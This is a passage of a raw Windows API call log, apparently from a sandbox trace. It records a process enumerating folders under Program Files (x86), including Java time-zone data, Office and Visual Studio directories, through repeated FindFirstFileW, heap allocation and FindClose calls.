returned 1 [0254.552] GetProcessHeap () returned 0x550000 [0254.552] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0254.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0254.572] GetProcessHeap () returned 0x550000 [0254.572] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0254.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0254.576] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0254.578] GetProcessHeap () returned 0x550000 [0254.578] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0254.588] GetProcessHeap () returned 0x550000 [0254.588] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0254.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0254.600] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0254.602] GetProcessHeap () returned 0x550000 [0254.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0254.602] GetProcessHeap () returned 0x550000 [0254.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0254.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0254.604] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0254.605] GetProcessHeap () returned 0x550000 [0254.605] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0254.607] GetProcessHeap () returned 0x550000 [0254.607] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0254.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0254.611] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0254.611] GetProcessHeap () returned 0x550000 [0254.611] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0254.611] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0254.612] GetProcessHeap () returned 0x550000 [0254.612] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0254.612] GetProcessHeap () returned 0x550000 [0254.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0254.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0254.615] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0254.616] GetProcessHeap () returned 0x550000 [0254.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0254.616] GetProcessHeap () returned 0x550000 [0254.616] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0254.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0254.622] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0254.623] GetProcessHeap () returned 0x550000 [0254.623] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0254.623] GetProcessHeap () returned 0x550000 [0254.623] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0254.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0254.699] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0254.701] GetProcessHeap () returned 0x550000 [0254.701] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0254.701] GetProcessHeap () returned 0x550000 [0254.701] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0254.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0254.724] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0254.725] GetProcessHeap () returned 0x550000 [0254.725] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0254.725] GetProcessHeap () returned 0x550000 [0254.725] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0254.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0255.214] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0255.215] GetProcessHeap () returned 0x550000 [0255.215] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0255.215] GetProcessHeap () returned 0x550000 [0255.215] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0255.215] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0255.329] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0255.330] GetProcessHeap () returned 0x550000 [0255.330] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0255.330] GetProcessHeap () returned 0x550000 [0255.330] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0255.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0255.877] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0255.879] GetProcessHeap () returned 0x550000 [0255.879] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0255.879] GetProcessHeap () returned 0x550000 [0255.879] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0255.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0255.967] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0255.973] GetProcessHeap () returned 0x550000 [0255.973] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0255.973] GetProcessHeap () returned 0x550000 [0255.974] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0255.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0256.082] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0256.084] GetProcessHeap () returned 0x550000 [0256.084] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0256.084] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0256.084] GetProcessHeap () returned 0x550000 [0256.084] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0256.086] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0256.086] GetProcessHeap () returned 0x550000 [0256.086] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0256.087] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0256.087] GetProcessHeap () returned 0x550000 [0256.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0256.087] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0256.087] GetProcessHeap () returned 0x550000 [0256.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0256.089] GetProcessHeap () returned 0x550000 [0256.089] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0256.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb2dec20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb2dec20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0256.090] GetProcessHeap () returned 0x550000 [0256.090] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0256.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0256.091] GetProcessHeap () returned 0x550000 [0256.091] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0256.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0256.968] GetProcessHeap () returned 0x550000 [0256.968] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0256.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0257.118] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0257.119] GetProcessHeap () returned 0x550000 [0257.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0257.119] GetProcessHeap () returned 0x550000 [0257.119] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0257.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0257.119] GetProcessHeap () returned 0x550000 [0257.120] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0257.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0257.121] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0257.122] GetProcessHeap () returned 0x550000 [0257.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0257.122] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0257.122] GetProcessHeap () returned 0x550000 [0257.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0257.123] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0257.124] GetProcessHeap () returned 0x550000 [0257.124] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0257.124] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0257.124] GetProcessHeap () returned 0x550000 [0257.124] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0257.124] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0257.125] GetProcessHeap () returned 0x550000 [0257.125] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0257.126] GetProcessHeap () returned 0x550000 [0257.126] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0257.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdd21cce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd21cce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0257.126] GetProcessHeap () returned 0x550000 [0257.126] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0257.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0257.127] GetProcessHeap () returned 0x550000 [0257.127] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0257.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0257.213] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0257.214] GetProcessHeap () returned 0x550000 [0257.214] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0257.214] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0257.214] GetProcessHeap () returned 0x550000 [0257.214] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0257.215] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0257.215] GetProcessHeap () returned 0x550000 [0257.215] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0257.216] GetProcessHeap () returned 0x550000 [0257.216] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0257.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0257.252] GetProcessHeap () returned 0x550000 [0257.252] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0257.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0257.254] GetProcessHeap () returned 0x550000 [0257.254] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0257.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0257.254] GetProcessHeap () returned 0x550000 [0257.254] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0257.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, 